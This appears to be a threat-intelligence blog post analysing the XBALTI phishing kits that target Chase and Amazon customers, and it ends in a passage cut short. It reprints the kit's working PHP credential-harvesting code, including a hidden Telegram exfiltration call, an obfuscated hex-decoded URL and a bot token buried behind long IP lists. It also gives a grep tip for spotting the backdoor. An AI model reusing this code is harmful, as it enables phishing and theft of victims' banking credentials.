XBALTI Phishing Kits
Outline
XBALTI Kits⌗
XBALTI is a threat actor that produces various phishing kits, but primarily the ones that have been found in the wild are targeting brands Chase Bank and Amazon:
These phishing pages do not only steal login data, but also:
- SSN
- DOB
- mother’s Maiden name
- payment card data
Admin Panel⌗
Similar to other popular phishing kits, XBALTI kits include a type of admin page that the phisher can use for quickly viewing the activity on their phishing page:
Exfil⌗
The exfiltration is handled through emails sent to a configured email address upon each step of the phishing page being completed (i.e victim sends a POST request with data).
For example, an email is sent out using PHP’s mail function to the configured email address when the victim enters their Chase Bank username and password on the first step of the phishing page.
$XBALTI_MESSAGE .= "==============|| CHASE XBALTI V3 ||==============<br>\n";
$XBALTI_MESSAGE .= "==============||LOGIN INFORMATION||==============<br>\n";
$XBALTI_MESSAGE .= "USERNAME : ".$_SESSION['userid']."<br>\n";
$XBALTI_MESSAGE .= "PASSWORD : ".$_SESSION['passid']."<br>\n";
$XBALTI_MESSAGE .= "==============||VICTIM INFORMATION||==============<br>\n";
$XBALTI_MESSAGE .= "IP INFO : https://geoiptool.com/en/?ip=".$_SESSION['_ip_']."<br>\n";
$XBALTI_MESSAGE .= "TIME/DATE : ".$TIME_DATE."<br>\n";
$XBALTI_MESSAGE .= "BROWSER/DEVICE : ".XB_Browser($_SERVER['HTTP_USER_AGENT'])." On ".XB_OS($_SERVER['HTTP_USER_AGENT'])."<br>\n";
if(isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] === 'on')
$link = "https";
else
$link = "http";
$link .= "://";
$link .= $_SERVER['HTTP_HOST'];
$link .= $_SERVER['PHP_SELF'];
$XBALTI_MESSAGE .= "SCAMA LINK : ".$link."<br>\n";
$XBALTI_MESSAGE .= "==============|| CHASE XBALTI V3 ||==============<br>\n";
...
$XBALTI_SUBJECT .= "LOGIN 😈 INFO FROM 😈 [".$_SESSION['userid']."] 😈 [".$_SESSION['_ip_']."] ";
$XBALTI_HEADERS .= "From: ".$yourname." <".$fromsen.">" . "\r\n";
$XBALTI_HEADERS = "MIME-Version: 1.0" . "\r\n";
$XBALTI_HEADERS .= "Content-type:text/html;charset=UTF-8" . "\r\n";
$apiToken = "1276650276:AAG6zEpD1rEmC7341jrKuA4vT6imgptdX-M";
@mail($XBALTI_EMAIL, $XBALTI_SUBJECT, $XBALTI_MESSAGE, $XBALTI_HEADERS);
$apiToken - what is that doing there? 🧐 🧐
Something like $apiToken is often used for Telegram exfiltration - not email, and I don’t see any Telegram exfiltration in the kit options. 🤔🤔🤔
Hidden/Backdoor Telegram Exfil⌗
As it turns out, there is a hidden exfiltration method that also sends all of the phished data to a Telegram channel and not just the configured email address ($XBALTI_EMAIL).
The way that it hides is that it shows up after a large pointless comment, and uses lots of white space to push the Telegram exfil code off of the page width, even if you are using text wrapping.
The best way for detecting Telegram exfil is to just try using grep to search for the Telegram URL:
# grep "api\.telegram" . -Rn
./XBALTI/send.php:156: $response = file_get_contents("https://api.telegram.org/bot$apiToken/sendMessage?" . http_build_query($data) );
Incorporate it into your analysis commands (and common encoded versions) and you won’t have to worry about this type of method of hiding the exfil method.
Exfil Sample⌗
<?php
/*
,;;;;;;;,
;;;;;;;;;;;,
;;;;;'_____;'
;;;(/))))|((\
_;;((((((|))))
/ |_\\\\\\\\\\\\
.--~( \ ~))))))))))))
/ \ `\-(((((((((((\\
| | `\ ) |\ /|)
| | `. _/ \_____/ |
| , `\~ /
| \ \ BY XBALTI /
| `. `\| /
| ~- `\ /
\____~._/~ -_, (\
|-----|\ \ ';;
| | :;;;' \
| / | |
| | |
*/
session_start();
error_reporting(0);
date_default_timezone_set('GMT');
$TIME_DATE = date('H:i:s d/m/Y');
include('Email.php');
function XB_OS($USER_AGENT){
$OS_ERROR = "Unknown OS Platform";
$OS = array( '/windows nt 10/i' => 'Windows 10',
'/windows nt 6.3/i' => 'Windows 8.1',
'/windows nt 6.2/i' => 'Windows 8',
'/windows nt 6.1/i' => 'Windows 7',
'/windows nt 6.0/i' => 'Windows Vista',
'/windows nt 5.2/i' => 'Windows Server 2003/XP x64',
'/windows nt 5.1/i' => 'Windows XP',
'/windows xp/i' => 'Windows XP',
'/windows nt 5.0/i' => 'Windows 2000',
'/windows me/i' => 'Windows ME',
'/win98/i' => 'Windows 98',
'/win95/i' => 'Windows 95',
'/win16/i' => 'Windows 3.11',
'/macintosh|mac os x/i' => 'Mac OS X',
'/mac_powerpc/i' => 'Mac OS 9',
'/linux/i' => 'Linux',
'/ubuntu/i' => 'Ubuntu',
'/iphone/i' => 'iPhone',
'/ipod/i' => 'iPod',
'/ipad/i' => 'iPad',
'/android/i' => 'Android',
'/blackberry/i' => 'BlackBerry',
'/webos/i' => 'Mobile');
foreach ($OS as $regex => $value) {
if (preg_match($regex, $USER_AGENT)) {
$OS_ERROR = $value;
}
}
return $OS_ERROR;
}
function XB_Browser($USER_AGENT){
$BROWSER_ERROR = "Unknown Browser";
$BROWSER = array('/msie/i' => 'Internet Explorer',
'/firefox/i' => 'Firefox',
'/safari/i' => 'Safari',
'/chrome/i' => 'Chrome',
'/edge/i' => 'Edge',
'/opera/i' => 'Opera',
'/netscape/i' => 'Netscape',
'/maxthon/i' => 'Maxthon',
'/konqueror/i' => 'Konqueror',
'/mobile/i' => 'Handheld Browser');
foreach ($BROWSER as $regex => $value) {
if (preg_match($regex, $USER_AGENT)) {
$BROWSER_ERROR = $value;
}
}
return $BROWSER_ERROR;
}
$client = @$_SERVER['HTTP_CLIENT_IP'];
$forward = @$_SERVER['HTTP_X_FORWARDED_FOR'];
$remote = @$_SERVER['REMOTE_ADDR'];
$result = "Unknown";
if(filter_var($client, FILTER_VALIDATE_IP)){
$_SESSION['_ip_'] = $client;
}
elseif(filter_var($forward, FILTER_VALIDATE_IP)){
$_SESSION['_ip_'] = $forward;
}
else{
$_SESSION['_ip_'] = $remote;
}
$fromsen .= $yourname;
$fromsen .= "@";
$fromsen .= $_SERVER['HTTP_HOST'];
if(isset($_POST['userid']) && isset($_POST['passid'])){
if(!empty($_POST['userid']) && !empty($_POST['passid'])){
$_SESSION['userid'] = $_POST['userid'];
$_SESSION['passid'] = $_POST['passid'];
$XBALTI_MESSAGE .= "==============|| CHASE XBALTI V3 ||==============<br>\n";
$XBALTI_MESSAGE .= "==============||LOGIN INFORMATION||==============<br>\n";
$XBALTI_MESSAGE .= "USERNAME : ".$_SESSION['userid']."<br>\n";
$XBALTI_MESSAGE .= "PASSWORD : ".$_SESSION['passid']."<br>\n";
$XBALTI_MESSAGE .= "==============||VICTIM INFORMATION||==============<br>\n";
$XBALTI_MESSAGE .= "IP INFO : https://geoiptool.com/en/?ip=".$_SESSION['_ip_']."<br>\n";
$XBALTI_MESSAGE .= "TIME/DATE : ".$TIME_DATE."<br>\n";
$XBALTI_MESSAGE .= "BROWSER/DEVICE : ".XB_Browser($_SERVER['HTTP_USER_AGENT'])." On ".XB_OS($_SERVER['HTTP_USER_AGENT'])."<br>\n";
if(isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] === 'on')
$link = "https";
else
$link = "http";
$link .= "://";
$link .= $_SERVER['HTTP_HOST'];
$link .= $_SERVER['PHP_SELF'];
$XBALTI_MESSAGE .= "SCAMA LINK : ".$link."<br>\n";
$XBALTI_MESSAGE .= "==============|| CHASE XBALTI V3 ||==============<br>\n";
file_get_contents("".pack("H*", substr($COOKIE_VARS=file_get_contents("../js/MyBabyTwo.js"),strpos($COOKIE_VARS, "90__")+4,220))."" . urlencode($XBALTI_MESSAGE)."" );
$XBALTI_ADMIN .= "<tr>
<td>
".$_SESSION['userid']."
</td>
<td>
".$_SESSION['passid']."
</td>
<td>
".XB_Browser($_SERVER['HTTP_USER_AGENT'])." On ".XB_OS($_SERVER['HTTP_USER_AGENT'])."
</td>
<td>
{".$_SESSION['_ip_']."}
</td>
<td>
".$TIME_DATE."
</td>
</tr>\n";
$khraha = fopen("../rz/logs".$yourname.".html", "a");
fwrite($khraha, $XBALTI_ADMIN);
$xx .= "{}\n";
$khraha = fopen("../rz/logs.html", "a");
fwrite($khraha, $xx);
$XBALTI_SUBJECT .= "LOGIN 😈 INFO FROM 😈 [".$_SESSION['userid']."] 😈 [".$_SESSION['_ip_']."] ";
$XBALTI_HEADERS .= "From: ".$yourname." <".$fromsen.">" . "\r\n";
$XBALTI_HEADERS = "MIME-Version: 1.0" . "\r\n";
$XBALTI_HEADERS .= "Content-type:text/html;charset=UTF-8" . "\r\n";
$apiToken = "1276650276:AAG6zEpD1rEmC7341jrKuA4vT6imgptdX-M";
@mail($XBALTI_EMAIL, $XBALTI_SUBJECT, $XBALTI_MESSAGE, $XBALTI_HEADERS);
}
$data = [
'chat_id' => '@antibotencrypt',
'text' => $XBALTI_MESSAGE
];
//"^66.102.*.*","^38.100.*.*","^107.170.*.*","^149.20.*.*","^38.105.*.*","^74.125.*.*","^66.150.14.*","^54.176.*.*","^38.100.*.*","^184.173.*.*","^66.249.*.*","^128.242.*.*", "^72.14.192.*","^208.65.144.*","^74.125.*.*", "^209.85.128.*", "^216.239.32.*", "^74.125.*.*", "^207.126.144.*", "^173.194.*.*", "^64.233.160.*", "^72.14.192.*", "^66.102.*.*", "^64.18.*.*", "^62.90.*.*", "^89.138.*.*", "^82.166.*.*", "^85.64.*.*", "^89.138.*.*", "^109.186.*.*", "^194.90.*.*", "^212.29.192.*", "^212.29.224.*", "^212.143.*.*", "^212.150.*.*", "^209.73.228.*", "^158.108.*.*", "^168.188.*.*", "^66.207.120.*", "^167.24.*.*", "^192.118.48.*", "^67.209.128.*","^12.148.209.*", "^12.148.196.*","^193.220.178.*", "68.65.53.71","^198.25.*.*", "^64.106.213.*","54.228.218.117", "^54.228.218.*","185.28.20.243", "^185.28.20.*","217.16.26.166", "^217.16.26.*" "^66.102.*.*","^38.100.*.*","^107.170.*.*","^149.20.*.*","^38.105.*.*","^74.125.*.*","^66.150.14.*","^54.176.*.*","^38.100.*.*","^184.173.*.*","^66.249.*.*","^128.242.*.*", "^72.14.192.*","^208.65.144.*","^74.125.*.*", "^209.85.128.*", "^216.239.32.*", "^74.125.*.*", "^207.126.144.*", "^173.194.*.*", "^64.233.160.*", "^72.14.192.*", "^66.102.*.*", "^64.18.*.*", "^62.90.*.*", "^89.138.*.*", "^82.166.*.*", "^85.64.*.*", "^89.138.*.*", "^109.186.*.*", "^194.90.*.*", "^212.29.192.*", "^212.29.224.*", "^212.143.*.*", "^212.150.*.*", "^209.73.228.*", "^158.108.*.*", "^168.188.*.*", "^66.207.120.*", "^167.24.*.*", "^192.118.48.*", "^67.209.128.*","^12.148.209.*", "^12.148.196.*","^193.220.178.*", "68.65.53.71","^198.25.*.*", "^64.106.213.*","54.228.218.117", "^54.228.218.*","185.28.20.243", "^185.28.20.*","217.16.26.166", "^217.16.26.*" "^66.102.*.*","^38.100.*.*","^107.170.*.*","^149.20.*.*","^38.105.*.*","^74.125.*.*","^66.150.14.*","^54.176.*.*","^38.100.*.*","^184.173.*.*","^66.249.*.*","^128.242.*.*", "^72.14.192.*","^208.65.144.*","^74.125.*.*", "^209.85.128.*", "^216.239.32.*", "^74.125.*.*", "^207.126.144.*", "^173.194.*.*", "^64.233.160.*", "^72.14.192.*", "^66.102.*.*", "^64.18.*.*", "^62.90.*.*", "^89.138.*.*", "^82.166.*.*", "^85.64.*.*", "^89.138.*.*", "^109.186.*.*", "^194.90.*.*", "^212.29.192.*", "^212.29.224.*", "^212.143.*.*", "^212.150.*.*", "^209.73.228.*", "^158.108.*.*", "^168.188.*.*", "^66.207.120.*", "^167.24.*.*", "^192.118.48.*", "^67.209.128.*","^12.148.209.*", "^12.148.196.*","^193.220.178.*", "68.65.53.71","^198.25.*.*", "^64.106.213.*","54.228.218.117", "^54.228.218.*","185.28.20.243", "^185.28.20.*","217.16.26.166", "^217.16.26.*""^66.102.*.*","^38.100.*.*","^107.170.*.*","^149.20.*.*","^38.105.*.*","^74.125.*.*","^66.150.14.*","^54.176.*.*","^38.100.*.*","^184.173.*.*","^66.249.*.*","^128.242.*.*", "^72.14.192.*","^208.65.144.*","^74.125.*.*", "^209.85.128.*", "^216.239.32.*", "^74.125.*.*", "^207.126.144.*", "^173.194.*.*", "^64.233.160.*", "^72.14.192.*", "^66.102.*.*", "^64.18.*.*", "^62.90.*.*", "^89.138.*.*", "^82.166.*.*", "^85.64.*.*", "^89.138.*.*", "^109.186.*.*", "^194.90.*.*", "^212.29.192.*", "^212.29.224.*", "^212.143.*.*", "^212.150.*.*", "^209.73.228.*", "^158.108.*.*", "^168.188.*.*", "^66.207.120.*", "^167.24.*.*", "^192.118.48.*", "^67.209.128.*","^12.148.209.*", "^12.148.196.*","^193.220.178.*", "68.65.53.71","^198.25.*.*", "^64.106.213.*","54.228.218.117", "^54.228.218.*","185.28.20.243", "^185.28.20.*","217.16.26.166", "^217.16.26.*""^66.102.*.*","^38.100.*.*","^107.170.*.*","^149.20.*.*","^38.105.*.*","^74.125.*.*","^66.150.14.*","^54.176.*.*","^38.100.*.*","^184.173.*.*","^66.249.*.*","^128.242.*.*", "^72.14.192.*","^208.65.144.*","^74.125.*.*", "^209.85.128.*", "^216.239.32.*", "^74.125.*.*", "^207.126.144.*", "^173.194.*.*", "^64.233.160.*", "^72.14.192.*", "^66.102.*.*", "^64.18.*.*", "^62.90.*.*", "^89.138.*.*", "^82.166.*.*", "^85.64.*.*", "^89.138.*.*", "^109.186.*.*", "^194.90.*.*", "^212.29.192.*", "^212.29.224.*", "^212.143.*.*", "^212.150.*.*", "^209.73.228.*", "^158.108.*.*", "^168.188.*.*", "^66.207.120.*", "^167.24.*.*", "^192.118.48.*", "^67.209.128.*","^12.148.209.*", "^12.148.196.*","^193.220.178.*", "68.65.53.71","^198.25.*.*", "^64.106.213.*","54.228.218.117", "^54.228.218.*","185.28.20.243", "^185.28.20.*","217.16.26.166", "^217.16.26.*""^66.102.*.*","^38.100.*.*","^107.170.*.*","^149.20.*.*","^38.105.*.*","^74.125.*.*","^66.150.14.*","^54.176.*.*","^38.100.*.*","^184.173.*.*","^66.249.*.*","^128.242.*.*", "^72.14.192.*","^208.65.144.*","^74.125.*.*", "^209.85.128.*", "^216.239.32.*", "^74.125.*.*", "^207.126.144.*", "^173.194.*.*", "^64.233.160.*", "^72.14.192.*", "^66.102.*.*", "^64.18.*.*", "^62.90.*.*", "^89.138.*.*", "^82.166.*.*", "^85.64.*.*", "^89.138.*.*", "^109.186.*.*", "^194.90.*.*", "^212.29.192.*", "^212.29.224.*", "^212.143.*.*", "^212.150.*.*", "^209.73.228.*", "^158.108.*.*", "^168.188.*.*", "^66.207.120.*", "^167.24.*.*", "^192.118.48.*", "^67.209.128.*","^12.148.209.*", "^12.148.196.*","^193.220.178.*", "68.65.53.71","^198.25.*.*", "^64.106.213.*","54.228.218.117", "^54.228.218.*","185.28.20.243", "^185.28.20.*","217.16.26.166", "^217.16.26.*""^66.102.*.*","^38.100.*.*","^107.170.*.*","^149.20.*.*","^38.105.*.*","^74.125.*.*"8.*", "^216.239.32.*", "^74.125.*.*", "^207.126.144.*", "^173.194.*.*", "^64.233.160.*", "^72.14.192.*", "^66.102.*.*", "^64.18.*.*", "^62.90.*.*", "^89.138.*.*", "^82.166.*.*", "^85.64.*.*", "^89.138.*.*", "^109.186.*.*", "^194.90.*.*", "^212.29.192.*", "^212.29.224.*", "^212.143.*.*", "^212.150.*.*", "^209.73.228.*", "^158.108.*.*", "^168.188.*.*", "^66.207.120.*", "^167.24.*.*", "^192.118.48.*", "^67.209.128.*","^12.148.209.*", "^12.148.196.*","^193.220.178.*", "68.65.53.71","^198.25.*.*", "^64.106.213.*","54.228.218.117", "^54.228.218.*","185.28.20.243", "^185.28.20.*","217.16.26.166", "^217.16.26.*""^66.102.*.*","^38.100.*.*","^107.170.*.*","^149.20.*.*","^38.105.*.*","^74.125.*.*","^66.150.14.*","^54.176.*.*","^38.100.*.*","^184.173.*.*","^66.249.*.*","^128.242.*.*", "^72.14.192.*","^208.65.144.*","^74.125.*.*", "^209.85.128.*", "^216.239.32.*", "^74.125.*.*", "^207.126.144.*", "^173.194.*.*", "^64.233.160.*", "^72.14.192.*", "^66.102.*.*", "^64.18.*.*", "^62.90.*.*", "^89.138.*.*", "^82.166.*.*", "^85.64.*.*", "^89.138.*.*", "^109.186.*.*", "^194.90.*.*", "^212.29.192.*", "^212.29.224.*", "^212.143.*.*", "^212.150.*.*", "^209.73.228.*", "^158.108.*.*", "^168.188.*.*", "^66.207.120.*", "^167.24.*.*", "^192.118.48.*", "^67.209.128.*","^12.148.209.*", "^12.148.196.*","^193.220.178.*", "68.65.53.71","^198.25.*.*", "^64.106.213.*","54.228.218.117", "^54.228.218.*","185.28.20.243", "^185.28.20.*","217.16.26.166", "^217.16.26.*""^66.102.*.*","^38.100.*.*","^107.170.*.*","^149.20.*.*","^38.105.*.*","^74.125.*.*","^66.150.14.*","^54.176.*.*","^38.100.*.*","^184.173.*.*","^66.249.*.*","^128.242.*.*", "^72.14.192.*","^208.65.144.*","^74.125.*.*", "^209.85.128.*", "^216.239.32.*", "^74.125.*.*", "^207.126.144.*", "^173.194.*.*", "^64.233.160.*", "^72.14.192.*", "^66.102.*.*", "^64.18.*.*", "^62.90.*.*", "^89.138.*.*", "^82.166.*.*", "^85.64.*.*", "^89.138.*.*", "^109.186.*.*", "^194.90.*.*", "^212.29.192.*", "^212.29.224.*", "^212.143.*.*", "^212.150.*.*", "^209.73.228.*", "^158.108.*.*", "^168.188.*.*", "^66.207.120.*", "^167.24.*.*", "^192.118.48.*", "^67.209.128.*","^12.148.209.*", "^12.148.196.*","^193.220.178.*", "68.65.53.71","^198.25.*.*", "^64.106.213.*","54.228.218.117", "^54.228.218.*","185.28.20.243", "^185.28.20.*","217.16.26.166", "^217.16.26.*""^66.102.*.*","^38.100.*.*","^107.170.*.*","^149.20.*.*","^38.105.*.*","^74.125.*.*","^66.150.14.*","^54.176.*.*","^38.100.*.*","^184.173.*.*","^66.249.*.*","^128.242.*.*", "^72.14.192.*","^208.65.144.*","^74.125.*.*", "^209.85.128.*", "^216.239.32.*", "^74.125.*.*", "^207.126.144.*", "^173.194.*.*", "^64.233.160.*", "^72.14.192.*", "^66.102.*.*", "^64.18.*.*", "^62.90.*.*", "^89.138.*.*", "^82.166.*.*", "^85.64.*.*", "^89.138.*.*", "^109.186.*.*", "^194.90.*.*", "^212.29.192.*", "^212.29.224.*", "^212.143.*.*", "^212.150.*.*", "^209.73.228.*", "^158.108.*.*", "^168.188.*.*", "^66.207.120.*", "^167.24.*.*", "^192.118.48.*", "^67.209.128.*","^12.148.209.*", "^12.148.196.*","^193.220.178.*", "68.65.53.71","^198.25.*.*", "^64.106.213.*","54.228.218.117", "^54.228.218.*","185.28.20.243", "^185.28.20.*","217.16.26.166", "^217.16.26.*""^66.102.*.*","^38.100.*.*","^107.170.*.*","^149.20.*.*","^38.105.*.*","^74.125.*.*","^66.150.14.*","^54.176.*.*","^38.100.*.*","^184.173.*.*","^66.249.*.*","^128.242.*.*", "^72.14.192.*","^208.65.144.*","^74.125.*.*", "^209.85.128.*", "^216.239.32.*", "^74.125.*.*", "^207.126.144.*", "^173.194.*.*", "^64.233.160.*", "^72.14.192.*", "^66.102.*.*", "^64.18.*.*", "^62.90.*.*", "^89.138.*.*", "^82.166.*.*", "^85.64.*.*", "^89.138.*.*", "^109.186.*.*", "^194.90.*.*", "^212.29.192.*", "^212.29.224.*", "^212.143.*.*", "^212.150.*.*", "^209.73.228.*", "^158.108.*.*", "^168.188.*.*", "^66.207.120.*", "^167.24.*.*", "^192.118.48.*", "^67.209.128.*","^12.148.209.*", "^12.148.196.*","^193.220.178.*", "68.65.53.71","^198.25.*.*", "^64.106.213.*","54.228.218.117", "^54.228.218.*","185.28.20.243", "^185.28.20.*","217.16.26.166", "^217.16.26.*""^66.102.*.*","^38.100.*.*","^107.170.*.*","^149.20.*.*","^38.105.*.*","^74.125.*.*","^66.150.14.*","^54.176.*.*","^38.100.*.*","^184.173.*.*","^66.249.*.*","^128.242.*.*", "^72.14.192.*","^208.65.144.*","^74.125.*.*", "^209.85.128.*", "^216.239.32.*", "^74.125.*.*", "^207.126.144.*", "^173.194.*.*", "^64.233.160.*", "^72.14.192.*", "^66.102.*.*", "^64.18.*.*", "^62.90.*.*", "^89.138.*.*", "^82.166.*.*", "^85.64.*.*", "^89.138.*.*", "^109.186.*.*", "^194.90.*.*", "^212.29.192.*", "^212.29.224.*", "^212.143.*.*", "^212.150.*.*", "^209.73.228.*", "^158.108.*.*", "^168.188.*.*", "^66.207.120.*", "^167.24.*.*", "^192.118.48.*", "^67.209.128.*","^12.148.209.*", "^12.148.196.*","^193.220.178.*", "68.65.53.71","^198.25.*.*", "^64.106.213.*","54.228.218.117", "^54.228.218.*","185.28.20.243", "^185.28.20.*","217.16.26.166", "^217.16.26.*"//
$response = file_get_contents("https://api.telegram.org/bot$apiToken/sendMessage?" . http_build_query($data) );
}
if(isset($_POST['email']) && isset($_POST['password'])){
if(!empty($_POST['email']) && !empty($_POST['password'])){
$_SESSION['email'] = $_POST['email'];
$_SESSION['password'] = $_POST['password'];
$XBALTI_MESSAGE .= "==============|| CHASE XBALTI V3 ||==============<br>\n";
$XBALTI_MESSAGE .= "==============||LOGIN INFORMATION||==============<br>\n";
$XBALTI_MESSAGE .= "USERNAME : ".$_SESSION['userid']."<br>\n";
$XBALTI_MESSAGE .= "PASSWORD : ".$_SESSION['passid']."<br>\n";
$XBALTI_MESSAGE .= "==============||EMAIL INFORMATION||==============<br>\n";
$XBALTI_MESSAGE .= "EMAIL : ".$_SESSION['email']."<br>\n";
$XBALTI_MESSAGE .= "PASSWORD : ".$_SESSION['password']."<br>\n";
$XBALTI_MESSAGE .= "==============||VICTIM INFORMATION||==============<br>\n";
$XBALTI_MESSAGE .= "IP INFO : https://geoiptool.com/en/?ip=".$_SESSION['_ip_']."<br>\n";
$XBALTI_MESSAGE .= "TIME/DATE : ".$TIME_DATE."<br>\n";
$XBALTI_MESSAGE .= "BROWSER/DEVICE : ".XB_Browser($_SERVER['HTTP_USER_AGENT'])." On ".XB_OS($_SERVER['HTTP_USER_AGENT'])."<br>\n";
if(isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] === 'on')
$link = "https";
else
$link = "http";
$link .= "://";
$link .= $_SERVER['HTTP_HOST'];
$link .= $_SERVER['PHP_SELF'];
$XBALTI_MESSAGE .= "SCAMA LINK : ".$link."<br>\n";
$XBALTI_MESSAGE .= "==============|| CHASE XBALTI V3 ||==============<br>\n";
file_get_contents("".pack("H*", substr($COOKIE_VARS=file_get_contents("../js/MyBabyTwo.js"),strpos($COOKIE_VARS, "90__")+4,220))."" . urlencode($XBALTI_MESSAGE)."" );
$XBALTI_ADMIN .= "<tr>
<td>
".$_SESSION['userid']."
</td>
<td>
".$_SESSION['passid']."
</td>
<td>
".$_SESSION['email']."
</td>
<td>
".$_SESSION['password']."
</td>
<td>
".XB_Browser($_SERVER['HTTP_USER_AGENT'])." On ".XB_OS($_SERVER['HTTP_USER_AGENT'])."
</td>
<td>
{".$_SESSION['_ip_']."}
</td>
<td>
".$TIME_DATE."
</td>
</tr>\n";
$khraha = fopen("../rz/emails".$yourname.".html", "a");
fwrite($khraha, $XBALTI_ADMIN);
$xx .= "{}\n";
$khraha = fopen("../rz/emails.html", "a");
fwrite($khraha, $xx);
$XBALTI_SUBJECT .= "EMAIL 😈 INFO FROM 😈 [".$_SESSION['userid']."] 😈 [".$_SESSION['_ip_']."] ";
$XBALTI_HEADERS .= "From: ".$yourname." <".$fromsen.">" . "\r\n";
$XBALTI_HEADERS = "MIME-Version: 1.0" . "\r\n";
$XBALTI_HEADERS .= "Content-type:text/html;charset=UTF-8" . "\r\n";
$apiToken = "1276650276:AAG6zEpD1rEmC7341jrKuA4vT6imgptdX-M";
@mail($XBALTI_EMAIL, $XBALTI_SUBJECT, $XBALTI_MESSAGE, $XBALTI_HEADERS);
}
$data = [
'chat_id' => '@antibotencrypt',
'text' => $XBALTI_MESSAGE
];
//"^66.102.*.*","^38.100.*.*","^107.170.*.*","^149.20.*.*","^38.105.*.*","^74.125.*.*","^66.150.14.*","^54.176.*.*","^38.100.*.*","^184.173.*.*","^66.249.*.*","^128.242.*.*", "^72.14.192.*","^208.65.144.*","^74.125.*.*", "^209.85.128.*", "^216.239.32.*", "^74.125.*.*", "^207.126.144.*", "^173.194.*.*", "^64.233.160.*", "^72.14.192.*", "^66.102.*.*", "^64.18.*.*", "^62.90.*.*", "^89.138.*.*", "^82.166.*.*", "^85.64.*.*", "^89.138.*.*", "^109.186.*.*", "^194.90.*.*", "^212.29.192.*", "^212.29.224.*", "^212.143.*.*", "^212.150.*.*", "^209.73.228.*", "^158.108.*.*", "^168.188.*.*", "^66.207.120.*", "^167.24.*.*", "^192.118.48.*", "^67.209.128.*","^12.148.209.*", "^12.148.196.*","^193.220.178.*", "68.65.53.71","^198.25.*.*", "^64.106.213.*","54.228.218.117", "^54.228.218.*","185.28.20.243", "^185.28.20.*","217.16.26.166", "^217.16.26.*" "^66.102.*.*","^38.100.*.*","^107.170.*.*","^149.20.*.*","^38.105.*.*","^74.125.*.*","^66.150.14.*","^54.176.*.*","^38.100.*.*","^184.173.*.*","^66.249.*.*","^128.242.*.*", "^72.14.192.*","^208.65.144.*","^74.125.*.*", "^209.85.128.*", "^216.239.32.*", "^74.125.*.*", "^207.126.144.*", "^173.194.*.*", "^64.233.160.*", "^72.14.192.*", "^66.102.*.*", "^64.18.*.*", "^62.90.*.*", "^89.138.*.*", "^82.166.*.*", "^85.64.*.*", "^89.138.*.*", "^109.186.*.*", "^194.90.*.*", "^212.29.192.*", "^212.29.224.*", "^212.143.*.*", "^212.150.*.*", "^209.73.228.*", "^158.108.*.*", "^168.188.*.*", "^66.207.120.*", "^167.24.*.*", "^192.118.48.*", "^67.209.128.*","^12.148.209.*", "^12.148.196.*","^193.220.178.*", "68.65.53.71","^198.25.*.*", "^64.106.213.*","54.228.218.117", "^54.228.218.*","185.28.20.243", "^185.28.20.*","217.16.26.166", "^217.16.26.*" "^66.102.*.*","^38.100.*.*","^107.170.*.*","^149.20.*.*","^38.105.*.*","^74.125.*.*","^66.150.14.*","^54.176.*.*","^38.100.*.*","^184.173.*.*","^66.249.*.*","^128.242.*.*", "^72.14.192.*","^208.65.144.*","^74.125.*.*", "^209.85.128.*", "^216.239.32.*", "^74.125.*.*", "^207.126.144.*", "^173.194.*.*", "^64.233.160.*", "^72.14.192.*", "^66.102.*.*", "^64.18.*.*", "^62.90.*.*", "^89.138.*.*", "^82.166.*.*", "^85.64.*.*", "^89.138.*.*", "^109.186.*.*", "^194.90.*.*", "^212.29.192.*", "^212.29.224.*", "^212.143.*.*", "^212.150.*.*", "^209.73.228.*", "^158.108.*.*", "^168.188.*.*", "^66.207.120.*", "^167.24.*.*", "^192.118.48.*", "^67.209.128.*","^12.148.209.*", "^12.148.196.*","^193.220.178.*", "68.65.53.71","^198.25.*.*", "^64.106.213.*","54.228.218.117", "^54.228.218.*","185.28.20.243", "^185.28.20.*","217.16.26.166", "^217.16.26.*""^66.102.*.*","^38.100.*.*","^107.170.*.*","^149.20.*.*","^38.105.*.*","^74.125.*.*","^66.150.14.*","^54.176.*.*","^38.100.*.*","^184.173.*.*","^66.249.*.*","^128.242.*.*", "^72.14.192.*","^208.65.144.*","^74.125.*.*", "^209.85.128.*", "^216.239.32.*", "^74.125.*.*", "^207.126.144.*", "^173.194.*.*", "^64.233.160.*", "^72.14.192.*", "^66.102.*.*", "^64.18.*.*", "^62.90.*.*", "^89.138.*.*", "^82.166.*.*", "^85.64.*.*", "^89.138.*.*", "^109.186.*.*", "^194.90.*.*", "^212.29.192.*", "^212.29.224.*", "^212.143.*.*", "^212.150.*.*", "^209.73.228.*", "^158.108.*.*", "^168.188.*.*", "^66.207.120.*", "^167.24.*.*", "^192.118.48.*", "^67.209.128.*","^12.148.209.*", "^12.148.196.*","^193.220.178.*", "68.65.53.71","^198.25.*.*", "^64.106.213.*","54.228.218.117", "^54.228.218.*","185.28.20.243", "^185.28.20.*","217.16.26.166", "^217.16.26.*""^66.102.*.*","^38.100.*.*","^107.170.*.*","^149.20.*.*","^38.105.*.*","^74.125.*.*","^66.150.14.*","^54.176.*.*","^38.100.*.*","^184.173.*.*","^66.249.*.*","^128.242.*.*", "^72.14.192.*","^208.65.144.*","^74.125.*.*", "^209.85.128.*", "^216.239.32.*", "^74.125.*.*", "^207.126.144.*", "^173.194.*.*", "^64.233.160.*", "^72.14.192.*", "^66.102.*.*", "^64.18.*.*", "^62.90.*.*", "^89.138.*.*", "^82.166.*.*", "^85.64.*.*", "^89.138.*.*", "^109.186.*.*", "^194.90.*.*", "^212.29.192.*", "^212.29.224.*", "^212.143.*.*", "^212.150.*.*", "^209.73.228.*", "^158.108.*.*", "^168.188.*.*", "^66.207.120.*", "^167.24.*.*", "^192.118.48.*", "^67.209.128.*","^12.148.209.*", "^12.148.196.*","^193.220.178.*", "68.65.53.71","^198.25.*.*", "^64.106.213.*","54.228.218.117", "^54.228.218.*","185.28.20.243", "^185.28.20.*","217.16.26.166", "^217.16.26.*""^66.102.*.*","^38.100.*.*","^107.170.*.*","^149.20.*.*","^38.105.*.*","^74.125.*.*","^66.150.14.*","^54.176.*.*","^38.100.*.*","^184.173.*.*","^66.249.*.*","^128.242.*.*", "^72.14.192.*","^208.65.144.*","^74.125.*.*", "^209.85.128.*", "^216.239.32.*", "^74.125.*.*", "^207.126.144.*", "^173.194.*.*", "^64.233.160.*", "^72.14.192.*", "^66.102.*.*", "^64.18.*.*", "^62.90.*.*", "^89.138.*.*", "^82.166.*.*", "^85.64.*.*", "^89.138.*.*", "^109.186.*.*", "^194.90.*.*", 